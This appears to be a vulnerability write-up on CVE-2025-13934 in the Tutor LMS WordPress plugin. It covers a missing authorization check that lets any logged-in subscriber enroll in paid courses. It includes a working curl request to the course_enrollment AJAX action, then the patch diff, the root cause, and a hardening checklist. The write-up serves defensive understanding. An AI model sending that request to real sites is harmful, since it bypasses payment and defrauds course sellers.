The Exploit
A subscriber-level authenticated user can enroll themselves in any paid course by invoking the Tutor LMS AJAX handler directly.
curl 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: wordpress_logged_in=YOUR_SESSION_COOKIE' \
--data 'action=course_enrollment&course_id=123'
The attacker sees a successful JSON response from the endpoint and the targeted course appears in their dashboard without any purchase. A patched site instead returns an error like "Please purchase the course before enrolling" for paid courses.
What the Patch Did
Before:
if ( $password_protected ) {
wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
}
// Directly enrolls user without checking if course is paid or user purchased it
$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );
After:
if ( $password_protected ) {
wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
}
if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
$is_enrolled = (bool) tutor_utils()->is_enrolled( $course_id, $user_id );
if ( ! $is_enrolled ) {
wp_send_json_error( __( 'Please purchase the course before enrolling', 'tutor' ) );
}
}
$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );
The patch added an authorization gate using tutor_utils()->is_course_purchasable() and tutor_utils()->is_enrolled() before do_enroll() is called. It converts an unconditional enrollment call into a conditional one, and rejects requests for purchasable courses when the user is not already enrolled.
Root Cause
This is a broken authorization issue, CWE-862: Missing Authorization. The attacker's input enters as the course_id POST parameter on admin-ajax.php?action=course_enrollment. The AJAX handler calls tutor_utils()->do_enroll( $course_id, 0, $user_id ) without validating whether the course is paid/purchasable or whether the user has purchased it. The trust boundary crossed unchecked is the business-logic check that should separate free-course enrollment from paid-course purchase state.
Why It Works
The load-bearing fix is the branch that checks tutor_utils()->is_course_purchasable( $course_id ) and rejects non-enrolled users with wp_send_json_error(). If that block is removed, the handler falls back to do_enroll() for every course, including paid ones, and the vulnerability returns. The is_enrolled call inside the branch is essential because it tells the code whether the user already has a valid purchase-enrolled state. The password protection check is a separate control for locked courses; it does not prevent the paid-course bypass.
Hardening Checklist
- Enforce server-side business rules in AJAX handlers: validate
tutor_utils()->is_course_purchasable()andtutor_utils()->is_enrolled()before calling state-changing functions. - Require proper capabilities for enrollment-related actions, e.g.
current_user_can('read')or a plugin-specific capability, instead of assuming any authenticated user is allowed. - Protect AJAX endpoints with nonce verification such as
check_ajax_referer( 'tutor-course-enrollment', 'nonce' )orwp_verify_nonce(). - Cast and sanitize request parameters explicitly:
absint( $_POST['course_id'] ), never trust raw POST values. - Fail fast with
wp_send_json_error()on unauthorized or invalid requests before performing side effects.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-13934